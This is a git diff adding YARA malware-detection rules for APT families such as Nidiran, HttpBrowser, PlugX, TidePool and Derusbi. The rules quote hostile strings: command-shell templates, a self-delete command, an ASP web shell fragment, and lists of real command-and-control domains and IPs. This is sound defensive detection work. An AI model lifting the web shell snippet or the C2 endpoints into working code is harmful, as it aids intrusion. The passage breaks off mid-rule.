+		hash1 = "47731c9d985ebc2bd7227fced3cc44c6d72e29b52f76fccbdaddd76cc3450706"
+		hash2 = "c2022e1114b162e79e44d974fd310d53e1bbdd8cb4f217553c1227cafed78855"
+	strings:
+		$x1 = "RUN SHELLCODE FAIL" fullword ascii
+		$x2 = "RUN DLLMEM THREAD FAIL" fullword ascii
+
+		$s1 = "cmd.exe /c %s" fullword ascii
+		$s2 = "CreateProcess returned %d, error at %d" fullword ascii
+		$s3 = "RUN PROCESS FAILD!" fullword ascii
+		$s5 = "RUN PROCESS SUCC!" fullword ascii
+		$s6 = "error to create pipe!" fullword ascii
+		$s7 = "5308.tmp" fullword ascii
+		$s8 = "MODIFYCONFIG FAIL!" fullword ascii
+		$s9 = "%s\\%08x.exe" fullword ascii
+		$s10 = "GetFileAttributes FILE FAILD" fullword ascii
+		$s11 = "DOWNLOAD FILE FAILD" fullword ascii
+		$s12 = "MODIFYCONFIG SUCC!" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and ( 1 of ($x*) or 3 of ($s*) ) ) or ( 10 of them )
+}
+
+rule Nidiran_Trojan_2 {
+	meta:
+		description = "Detects Nidiran malware from Suckfly APT group"
+		author = "Florian Roth"
+		reference = "http://goo.gl/F3r1rr"
+		date = "2016-06-08"
+		hash1 = "eaee2bf83cf90d35dab8a4711f7a5f2ebf9741007668f3746995f4564046fbdf"
+	strings:
+		$s1 = "%userprofile%\\Security Center\\secriter.dll" fullword ascii
+		$s2 = "WorkDll.dll" fullword ascii
+		$s3 = "InstallUserProcess is called" fullword ascii
+		$s4 = "DLL_PROCESS_ATTACH is called" fullword ascii
+		$s5 = "CreateRemoteThread Succ" fullword ascii
+		$s6 = "DoRunRemote" fullword ascii
+		$s7 = "DllRegisterServer is called" fullword ascii
+		$s8 = "DoInstallEntry is called" fullword ascii
+		$s9 = "copy Fail" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 5 of ($s*) ) or ( all of them )
+}
+
+rule Nidiran_Trojan_3 {
+	meta:
+		description = "Detects Nidiran malware from Suckfly APT group"
+		author = "Florian Roth"
+		reference = "http://goo.gl/F3r1rr"
+		date = "2016-06-08"
+		hash1 = "ac7d7c676f58ebfa5def9b84553f00f283c61e4a310459178ea9e7164004e734"
+	strings:
+		$s1 = "WriteProcessMemory fail at %d " fullword ascii
+		$s2 = "CreateRemoteThread fail at %d " fullword ascii
+		$s3 = "VirtualAllocEx fail at %d " fullword ascii
+		$s4 = "CreateRemoteThread Succ" fullword ascii
+		$s5 = "VirtualAllocEx succ" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 3 of ($s*) ) or ( all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_sysscan.yar b/yara-mikesxrs/Florian Roth/apt_sysscan.yar
new file mode 100644
index 0000000..8485027
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_sysscan.yar	
@@ -0,0 +1,37 @@
+rule xDedic_SysScan_unpacked {
+   meta:
+      author = " Kaspersky Lab"
+      maltype = "crimeware"
+      type ="crimeware"
+      description = "Detects SysScan APT tool"
+      reference = "https://securelist.com/blog/research/75027/xdedic-the-shady-world-of-hacked-servers-for-sale/"
+      filetype = "Win32 EXE"
+      date = "2016-03-14"
+      version = "1.0"
+      hash1 = "fac495be1c71012682ebb27092060b43"
+      hash2 = "e8cc69231e209db7968397e8a244d104"
+      hash3 = "a53847a51561a7e76fd034043b9aa36d"
+      hash4 = "e8691fa5872c528cd8e72b82e7880e98"
+      hash5 = "F661b50d45400e7052a2427919e2f777"
+   strings:
+      $a1 = "/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
+      $a2 = "SysScan DEBUG Mode!!!" ascii wide
+      $a3 = "This rechecking? (set 0/1 or press enter key)" ascii wide
+      $a4 = "http://37.49.224.144:8189/manual_result" ascii wide
+
+      $b1 = "Checker end work!" ascii wide
+      $b2 = "Trying send result..." ascii wide
+   condition:
+      uint16(0) == 0x5A4D and filesize < 5000000 and ( any of ($a*) or all of ($b*) )
+}
+
+rule xdedic_packed_syscan {
+   meta:
+      author = "Kaspersky Lab - modified by Florian Roth"
+      company = "Kaspersky Lab"
+   strings:
+      $a1 = "SysScan.exe" nocase ascii wide
+      $a2 = "1.3.4." wide
+   condition:
+      uint16(0) == 0x5A4D and filesize > 500KB and filesize < 1500KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_terracotta.yar b/yara-mikesxrs/Florian Roth/apt_terracotta.yar
new file mode 100644
index 0000000..e46013c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_terracotta.yar	
@@ -0,0 +1,98 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-04
+	Identifier: Terracotta APT
+	Comment: Reduced Rule Set
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Apolmy_Privesc_Trojan {
+	meta:
+		description = "Apolmy Privilege Escalation Trojan used in APT Terracotta"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 80
+		hash = "d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d"
+	strings:
+		$s1 = "[%d] Failed, %08X" fullword ascii
+		$s2 = "[%d] Offset can not fetched." fullword ascii
+		$s3 = "PowerShadow2011" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Mithozhan_Trojan {
+	meta:
+		description = "Mitozhan Trojan used in APT Terracotta"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		hash = "8553b945e2d4b9f45c438797d6b5e73cfe2899af1f9fd87593af4fd7fb51794a"
+	strings:
+		$s1 = "adbrowser" fullword wide 
+		$s2 = "IJKLlGdmaWhram0vn36BgIOChYR3L45xcHNydXQvhmloa2ptbH8voYCDTw==" fullword ascii
+		$s3 = "EFGHlGdmaWhrL41sf36BgIOCL6R3dk8=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule RemoteExec_Tool {
+	meta:
+		description = "Remote Access Tool used in APT Terracotta"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		hash = "a550131e106ff3c703666f15d55d9bc8c816d1cb9ac1b73c2e29f8aa01e53b78"
+	strings:
+		$s0 = "cmd.exe /q /c \"%s\"" fullword ascii 
+		$s1 = "\\\\.\\pipe\\%s%s%d" fullword ascii 
+		$s2 = "This is a service executable! Couldn't start directly." fullword ascii 
+		$s3 = "\\\\.\\pipe\\TermHlp_communicaton" fullword ascii 
+		$s4 = "TermHlp_stdout" fullword ascii 
+		$s5 = "TermHlp_stdin" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 75KB and 4 of ($s*)
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule LiuDoor_Malware_1 {
+	meta:
+		description = "Liudoor Trojan used in Terracotta APT"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		super_rule = 1
+		hash1 = "deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc"
+		hash2 = "4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5"
+		hash3 = "ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb"
+	strings:
+		$s1 = "svchostdllserver.dll" fullword ascii 
+		$s2 = "SvcHostDLL: RegisterServiceCtrlHandler %S failed" fullword ascii 
+		$s3 = "\\nbtstat.exe" fullword ascii
+		$s4 = "DataVersionEx" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule LiuDoor_Malware_2 {
+	meta:
+		description = "Liudoor Trojan used in Terracotta APT"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		super_rule = 1
+		hash1 = "f3fb68b21490ded2ae7327271d3412fbbf9d705c8003a195a705c47c98b43800"
+		hash2 = "e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e"
+	strings:
+		$s0 = "svchostdllserver.dll" fullword ascii 
+		$s1 = "Lpykh~mzCCRv|mplpykCCHvq{phlCC\\jmmzqkIzmlvpqCC" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_terracotta_liudoor.yar b/yara-mikesxrs/Florian Roth/apt_terracotta_liudoor.yar
new file mode 100644
index 0000000..97e9312
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_terracotta_liudoor.yar	
@@ -0,0 +1,24 @@
+rule APT_Liudoor {
+    meta:
+        author = "RSA FirstWatch"
+        date = "2015-07-23"
+        description = "Detects Liudoor daemon backdoor"
+        hash0 = "78b56bc3edbee3a425c96738760ee406"
+        hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+        hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+        hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+        hash4 = "6093505c7f7ec25b1934d3657649ef07"
+        type = "Win32 DLL"
+    strings:
+        $string0 = "Succ"
+        $string1 = "Fail"
+        $string2 = "pass"
+        $string3 = "exit"
+        $string4 = "svchostdllserver.dll"
+        $string5 = "L$,PQR"
+        $string6 = "0/0B0H0Q0W0k0"
+        $string7 = "QSUVWh"
+        $string8 = "Ht Hu["
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_threatgroup_3390.yar b/yara-mikesxrs/Florian Roth/apt_threatgroup_3390.yar
new file mode 100644
index 0000000..cd3e15b
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_threatgroup_3390.yar	
@@ -0,0 +1,307 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-06
+	Identifier: Threat Group 3390
+*/
+
+rule HttpBrowser_RAT_dropper_Gen1 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "808de72f1eae29e3c1b2c32be1b84c5064865a235866edf5e790d2a7ba709907"
+		hash2 = "f6f966d605c5e79de462a65df437ddfca0ad4eb5faba94fc875aba51a4b894a7"
+		hash3 = "f424965a35477d822bbadb821125995616dc980d3d4f94a68c87d0cd9b291df9"
+		hash4 = "01441546fbd20487cb2525a0e34e635eff2abe5c3afc131c7182113220f02753"
+		hash5 = "8cd8159f6e4689f572e2087394452e80e62297af02ca55fe221fe5d7570ad47b"
+		hash6 = "10de38419c9a02b80ab7bf2f1f1f15f57dbb0fbc9df14b9171dc93879c5a0c53"
+		hash7 = "c2fa67e970d00279cec341f71577953d49e10fe497dae4f298c2e9abdd3a48cc"
+	strings:
+		$x1 = "1001=cmd.exe" fullword ascii 
+		$x2 = "1003=ShellExecuteA" fullword ascii 
+		$x3 = "1002=/c del /q %s" fullword ascii
+		$x4 = "1004=SetThreadPriority" fullword ascii
+
+		/* $s1 = "pnipcn.dllUT" fullword ascii
+		$s2 = "ssonsvr.exeUT" fullword ascii
+		$s3 = "navlu.dllUT" fullword ascii
+		$s4 = "@CONOUT$" fullword wide 
+		$s5 = "VPDN_LU.exeUT" fullword ascii
+		$s6 = "msi.dll.urlUT" fullword ascii
+		$s7 = "setup.exeUT" fullword ascii 
+		$s8 = "pnipcn.dll.urlUT" fullword ascii
+		$s9 = "ldvpreg.exeUT" fullword ascii */
+
+		$op0 = { e8 71 11 00 00 83 c4 10 ff 4d e4 8b f0 78 07 8b } /* Opcode */
+		$op1 = { e8 85 34 00 00 59 59 8b 86 b4 } /* Opcode */
+		$op2 = { 8b 45 0c 83 38 00 0f 84 97 } /* Opcode */
+		$op3 = { 8b 45 0c 83 38 00 0f 84 98 } /* Opcode */
+		$op4 = { 89 7e 0c ff 15 a0 50 40 00 59 8b d8 6a 20 59 8d } /* Opcode */
+		$op5 = { 56 8d 85 cd fc ff ff 53 50 88 9d cc fc ff ff e8 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of ($x*) and 1 of ($op*)
+}
+
+rule HttpBrowser_RAT_Sample1 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample update.hancominc.com"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 80
+		hash1 = "be334d1f8fa65a723af65200a166c2bbdb06690c8b30fafe772600e4662fc68b"
+		hash2 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
+	strings:
+		$s0 = "update.hancominc.com" fullword wide 
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $s0
+}
+
+rule HttpBrowser_RAT_Sample2 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 80
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
+	strings:
+		$s0 = "nKERNEL32.DLL" fullword wide
+		$s1 = "WUSER32.DLL" fullword wide
+		$s2 = "mscoree.dll" fullword wide
+		$s3 = "VPDN_LU.exeUT" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule HttpBrowser_RAT_Gen {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Generic"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 90
+		hash1 = "0299493ccb175d452866f5e21d023d3e92cd8d28452517d1d19c0f05f2c5ca27"
+		hash2 = "065d055a90da59b4bdc88b97e537d6489602cb5dc894c5c16aff94d05c09abc7"
+		hash3 = "05c7291db880f94c675eea336ecd66338bd0b1d49ad239cc17f9df08106e6684"
+		hash4 = "07133f291fe022cd14346cd1f0a649aa2704ec9ccadfab809ca9c48b91a7d81b"
+		hash5 = "0f8893e87ddec3d98e39a57f7cd530c28e36d596ea0a1d9d1e993dc2cae0a64d"
+		hash6 = "108e6633744da6efe773eb78bd0ac804920add81c3dde4b26e953056ac1b26c5"
+		hash7 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
+		hash8 = "1277ede988438d4168bb5b135135dd3b9ae7d9badcdf1421132ca4692dd18386"
+		hash9 = "19be90c152f7a174835fd05a0b6f722e29c648969579ed7587ae036679e66a7b"
+		hash10 = "1e7133bf5a9fe5e462321aafc2b7770b8e4183a66c7fef14364a0c3f698a29af"
+		hash11 = "2264e5e8fcbdcb29027798b200939ecd8d1d3ad1ef0aef2b8ce7687103a3c113"
+		hash12 = "2a1bdeb0a021fb0bdbb328bd4b65167d1f954c871fc33359cb5ea472bad6e13e"
+		hash13 = "259a2e0508832d0cf3f4f5d9e9e1adde17102d2804541a9587a9a4b6f6f86669"
+		hash14 = "240d9ce148091e72d8f501dbfbc7963997d5c2e881b4da59a62975ddcbb77ca2"
+		hash15 = "211a1b195cf2cc70a2caf8f1aafb8426eb0e4bae955e85266490b12b5322aa16"
+		hash16 = "2d25c6868c16085c77c58829d538b8f3dbec67485f79a059f24e0dce1e804438"
+		hash17 = "2d932d764dd9b91166361d8c023d64a4480b5b587a6087b0ce3d2ac92ead8a7d"
+		hash18 = "3556722d9aa37beadfa6ba248a66576f767e04b09b239d3fb0479fa93e0ba3fd"
+		hash19 = "365e1d4180e93d7b87ba28ce4369312cbae191151ac23ff4a35f45440cb9be48"
+		hash20 = "36c49f18ce3c205152eef82887eb3070e9b111d35a42b534b2fb2ee535b543c0"
+		hash21 = "3eeb1fd1f0d8ab33f34183893c7346ddbbf3c19b94ba3602d377fa2e84aaad81"
+		hash22 = "3fa8d13b337671323e7fe8b882763ec29b6786c528fa37da773d95a057a69d9a"
+	strings:
+		$s0 = "%d|%s|%04d/%02d/%02d %02d:%02d:%02d|%ld|%d" fullword wide 
+		$s1 = "HttpBrowser/1.0" fullword wide
+		$s2 = "set cmd : %s" ascii fullword
+		$s3 = "\\config.ini" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and filesize > 20KB and all of them
+}
+
+rule PlugX_NvSmartMax_Gen {
+	meta:
+		description = "Threat Group 3390 APT Sample - PlugX NvSmartMax Generic"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "718fc72942b9b706488575c0296017971170463f6f40fa19b08fc84b79bf0cef"
+		hash2 = "1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0"
+		hash3 = "555952aa5bcca4fa5ad5a7269fece99b1a04816d104ecd8aefabaa1435f65fa5"
+		hash4 = "71f7a9da99b5e3c9520bc2cc73e520598d469be6539b3c243fb435fe02e44338"
+		hash5 = "65bbf0bd8c6e1ccdb60cf646d7084e1452cb111d97d21d6e8117b1944f3dc71e"
+	strings:
+		$s0 = "NvSmartMax.dll" fullword ascii
+		$s1 = "NvSmartMax.dll.url" fullword ascii
+		$s2 = "Nv.exe" fullword ascii
+		$s4 = "CryptProtectMemory failed" fullword ascii 
+		$s5 = "CryptUnprotectMemory failed" fullword ascii 
+		$s7 = "r%.*s(%d)%s" fullword wide
+		$s8 = " %s CRC " fullword wide
+
+		$op0 = { c6 05 26 49 42 00 01 eb 4a 8d 85 00 f8 ff ff 50 } /* Opcode */
+		$op1 = { 8d 85 c8 fe ff ff 50 8d 45 c8 50 c6 45 47 00 e8 } /* Opcode */
+		$op2 = { e8 e6 65 00 00 50 68 10 43 41 00 e8 56 84 00 00 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of ($s*) and 1 of ($op*)
+}
+
+rule HttpBrowser_RAT_dropper_Gen2 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
+		hash2 = "dfa984174268a9f364d856fd47cfaca75804640f849624d69d81fcaca2b57166"
+	strings:
+		$s1 = "navlu.dll.urlUT" fullword ascii
+		$s2 = "VPDN_LU.exeUT" fullword ascii
+		$s3 = "pnipcn.dllUT" fullword ascii
+		$s4 = "\\ssonsvr.exe" fullword ascii
+		$s5 = "/c del /q %s" fullword ascii
+		$s6 = "\\setup.exe" fullword ascii 
+		$s7 = "msi.dllUT" fullword ascii
+
+		$op0 = { 8b 45 0c 83 38 00 0f 84 98 } /* Opcode */
+		$op1 = { e8 dd 07 00 00 ff 35 d8 fb 40 00 8b 35 7c a0 40 } /* Opcode */
+		$op2 = { 83 fb 08 75 2c 8b 0d f8 af 40 00 89 4d dc 8b 0d } /* Opcode */
+		$op3 = { c7 43 18 8c 69 40 00 e9 da 01 00 00 83 7d f0 00 } /* Opcode */
+		$op4 = { 6a 01 e9 7c f8 ff ff bf 1a 40 00 96 1b 40 00 01 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 3 of ($s*) and 1 of ($op*)
+}
+
+rule ThreatGroup3390_Strings {
+	meta:
+		description = "Threat Group 3390 APT - Strings"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 60
+	strings:
+		$s1 = "\"cmd\" /c cd /d \"c:\\Windows\\Temp\\\"&copy" ascii
+		$s2 = "svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014"
+		$s3 = "ren *.rar *.zip" fullword ascii
+		$s4 = "c:\\temp\\ipcan.exe" fullword ascii
+		$s5 = "<%eval(Request.Item(\"admin-na-google123!@#" ascii
+	condition:
+		1 of them and filesize < 30KB
+}
+
+rule ThreatGroup3390_C2 {
+	meta:
+		description = "Threat Group 3390 APT - C2 Server"
+		author = "Florian Roth"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 60
+	strings:
+		$s1 = "api.apigmail.com"
+		$s2 = "apigmail.com"
+		$s3 = "backup.darkhero.org"
+		$s4 = "bel.updatawindows.com"
+		$s5 = "binary.update-onlines.org"
+		$s6 = "blackcmd.com"
+		$s7 = "castle.blackcmd.com"
+		$s8 = "ctcb.blackcmd.com"
+		$s9 = "darkhero.org"
+		$s10 = "dav.local-test.com"
+		$s11 = "test.local-test.com"
+		$s12 = "dev.local-test.com"
+		$s13 = "ocean.local-test.com"
+		$s14 = "ga.blackcmd.com"
+		$s15 = "helpdesk.blackcmd.com"
+		$s16 = "helpdesk.csc-na.com"
+		$s17 = "helpdesk.hotmail-onlines.com"
+		$s18 = "helpdesk.lnip.org"
+		$s19 = "hotmail-onlines.com"
+		$s20 = "jobs.hotmail-onlines.com"
+		$s21 = "justufogame.com"
+		$s22 = "lnip.org"
+		$s23 = "local-test.com"
+		$s24 = "login.hansoftupdate.com"
+		$s25 = "long.update-onlines.org"
+		$s26 = "longlong.update-onlines.org"
+		$s27 = "longshadow.dyndns.org"
+		$s28 = "longshadow.update-onlines.org"
+		$s29 = "longykcai.update-onlines.org"
+		$s30 = "lostself.update-onlines.org"
+		$s31 = "mac.navydocument.com"
+		$s32 = "mail.csc-na.com"
+		$s33 = "mantech.updatawindows.com"
+		$s34 = "micr0soft.org"
+		$s35 = "microsoft-outlook.org"
+		$s36 = "mtc.navydocument.com"
+		$s37 = "navydocument.com"
+		$s38 = "mtc.update-onlines.org"
+		$s39 = "news.hotmail-onlines.com"
+		$s40 = "oac.3322.org"
+		$s41 = "ocean.apigmail.com"
+		$s42 = "pchomeserver.com"
+		$s43 = "registre.organiccrap.com"
+		$s44 = "security.pomsys.org"
+		$s45 = "services.darkhero.org"
+		$s46 = "sgl.updatawindows.com"
+		$s47 = "shadow.update-onlines.org"
+		$s48 = "sonoco.blackcmd.com"
+		$s49 = "test.logmastre.com"
+		$s50 = "up.gtalklite.com"
+		$s51 = "updatawindows.com"
+		$s52 = "update-onlines.org"
+		$s53 = "update.deepsoftupdate.com"
+		$s54 = "update.hancominc.com"
+		$s55 = "update.micr0soft.org"
+		$s56 = "update.pchomeserver.com"
+		$s57 = "urs.blackcmd.com"
+		$s58 = "wang.darkhero.org"
+		$s59 = "webs.local-test.com"
+		$s60 = "word.apigmail.com"
+		$s61 = "wordpress.blackcmd.com"
+		$s62 = "working.blackcmd.com"
+		$s63 = "working.darkhero.org"
+		$s64 = "working.hotmail-onlines.com"
+		$s65 = "www.trendmicro-update.org"
+		$s66 = "www.update-onlines.org"
+		$s67 = "x.apigmail.com"
+		$s68 = "ykcai.update-onlines.org"
+		$s69 = "ykcailostself.dyndns-free.com"
+		$s70 = "ykcainobody.dyndns.org"
+		$s71 = "zj.blackcmd.com"
+		$s72 = "laxness-lab.com"
+		$s73 = "google-ana1ytics.com"
+		$s74 = "www.google-ana1ytics.com"
+		$s75 = "ftp.google-ana1ytics.com"
+		$s76 = "hotmailcontact.net"
+		$s77 = "208.115.242.36"
+		$s78 = "208.115.242.37"
+		$s79 = "208.115.242.38"
+		$s80 = "66.63.178.142"
+		$s81 = "72.11.148.220"
+		$s82 = "72.11.141.133"
+		$s83 = "74.63.195.236"
+		$s84 = "74.63.195.236"
+		$s85 = "74.63.195.237"
+		$s86 = "74.63.195.238"
+		$s87 = "103.24.0.142"
+		$s88 = "103.24.1.54"
+		$s89 = "106.187.45.162"
+		$s90 = "192.151.236.138"
+		$s91 = "192.161.61.19"
+		$s92 = "192.161.61.20"
+		$s93 = "192.161.61.22"
+		$s94 = "103.24.1.54"
+		$s95 = "67.215.232.179"
+		$s96 = "96.44.177.195"
+		$s97 = "49.143.192.221"
+		$s98 = "67.215.232.181"
+		$s99 = "67.215.232.182"
+		$s100 = "96.44.182.243"
+		$s101 = "96.44.182.245"
+		$s102 = "96.44.182.246"
+		$s103 = "49.143.205.30"
+		$s104 = "working_success@163.com"
+		$s105 = "ykcaihyl@163.com"
+		$s106 = "working_success@163.com"
+		$s107 = "yuming@yinsibaohu.aliyun.com"
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_tidepool.yar b/yara-mikesxrs/Florian Roth/apt_tidepool.yar
new file mode 100644
index 0000000..e2e4c9c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_tidepool.yar	
@@ -0,0 +1,30 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-24
+	Identifier: TidePool (Ke3chang)
+*/
+
+rule TidePool_Malware {
+	meta:
+		description = "Detects TidePool malware mentioned in Ke3chang report by Palo Alto Networks"
+		author = "Florian Roth"
+		reference = "http://goo.gl/m2CXWR"
+		date = "2016-05-24"
+		hash1 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
+		hash2 = "67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed"
+		hash3 = "2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18"
+		hash4 = "38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f"
+		hash5 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
+	strings:
+		$x1 = "Content-Disposition: form-data; name=\"m1.jpg\"" fullword ascii
+		$x2 = "C:\\PROGRA~2\\IEHelper\\mshtml.dll" fullword wide
+		$x3 = "C:\\DOCUME~1\\ALLUSE~1\\IEHelper\\mshtml.dll" fullword wide
+		$x4 = "IEComDll.dat" fullword ascii
+
+		$s1 = "Content-Type: multipart/form-data; boundary=----=_Part_%x" fullword wide
+		$s2 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
+		$s3 = "network.proxy.socks_port\", " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) ) ) or ( 4 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_turbo_campaign.yar b/yara-mikesxrs/Florian Roth/apt_turbo_campaign.yar
new file mode 100644
index 0000000..8ce23a0
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_turbo_campaign.yar	
@@ -0,0 +1,192 @@
+rule apt_nix_elf_derusbi {
+   meta:
+      description = "Detects Derusbi Backdoor ELF"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $s1 = "LxMain"
+      $s2 = "execve"
+      $s3 = "kill"
+      $s4 = "cp -a %s %s"
+      $s5 = "%s &"
+      $s6 = "dbus-daemon"
+      $s7 = "--noprofile"
+      $s8 = "--norc"
+      $s9 = "TERM=vt100"
+      $s10 = "/proc/%u/cmdline"
+      $s11 = "loadso"
+      $s12 = "/proc/self/exe"
+      $s13 = "Proxy-Connection: Keep-Alive"
+      $s14 = "Connection: Keep-Alive"
+      $s15 = "CONNECT %s"
+      $s16 = "HOST: %s:%d"
+      $s17 = "User-Agent: Mozilla/4.0"
+      $s18 = "Proxy-Authorization: Basic %s"
+      $s19 = "Server: Apache"
+      $s20 = "Proxy-Authenticate"
+      $s21 = "gettimeofday"
+      $s22 = "pthread_create"
+      $s23 = "pthread_join"
+      $s24 = "pthread_mutex_init"
+      $s25 = "pthread_mutex_destroy"
+      $s26 = "pthread_mutex_lock"
+      $s27 = "getsockopt"
+      $s28 = "socket"
+      $s29 = "setsockopt"
+      $s30 = "select"
+      $s31 = "bind"
+      $s32 = "shutdown"
+      $s33 = "listen"
+      $s34 = "opendir"
+      $s35 = "readdir"
+      $s36 = "closedir"
+      $s37 = "rename"
+   condition:
+      uint32(0) == 0x4464c457f and all of them
+}
+
+rule apt_nix_elf_derusbi_kernelModule
+{
+   meta:
+      description = "Detects Derusbi Backdoor ELF Kernel Module"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $s1 = "__this_module"
+      $s2 = "init_module"
+      $s3 = "unhide_pid"
+      $s4 = "is_hidden_pid"
+      $s5 = "clear_hidden_pid"
+      $s6 = "hide_pid"
+      $s7 = "license"
+      $s8 = "description"
+      $s9 = "srcversion="
+      $s10 = "depends="
+      $s12 = "vermagic="
+      $s13 = "current_task"
+      $s14 = "sock_release"
+      $s15 = "module_layout"
+      $s16 = "init_uts_ns"
+      $s17 = "init_net"
+      $s18 = "init_task"
+      $s19 = "filp_open"
+      $s20 = "__netlink_kernel_create"
+      $s21 = "kfree_skb"
+   condition:
+      uint32(0) == 0x4464c457f and all of them
+}
+
+rule apt_nix_elf_Derusbi_Linux_SharedMemCreation {
+   meta:
+      description = "Detects Derusbi Backdoor ELF Shared Memory Creation"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
+   condition:
+      uint32(0) == 0x464C457F and any of them
+}
+
+rule apt_nix_elf_Derusbi_Linux_Strings {
+   meta:
+      description = "Detects Derusbi Backdoor ELF Strings"
+      author = "Fidelis Cybersecurity"
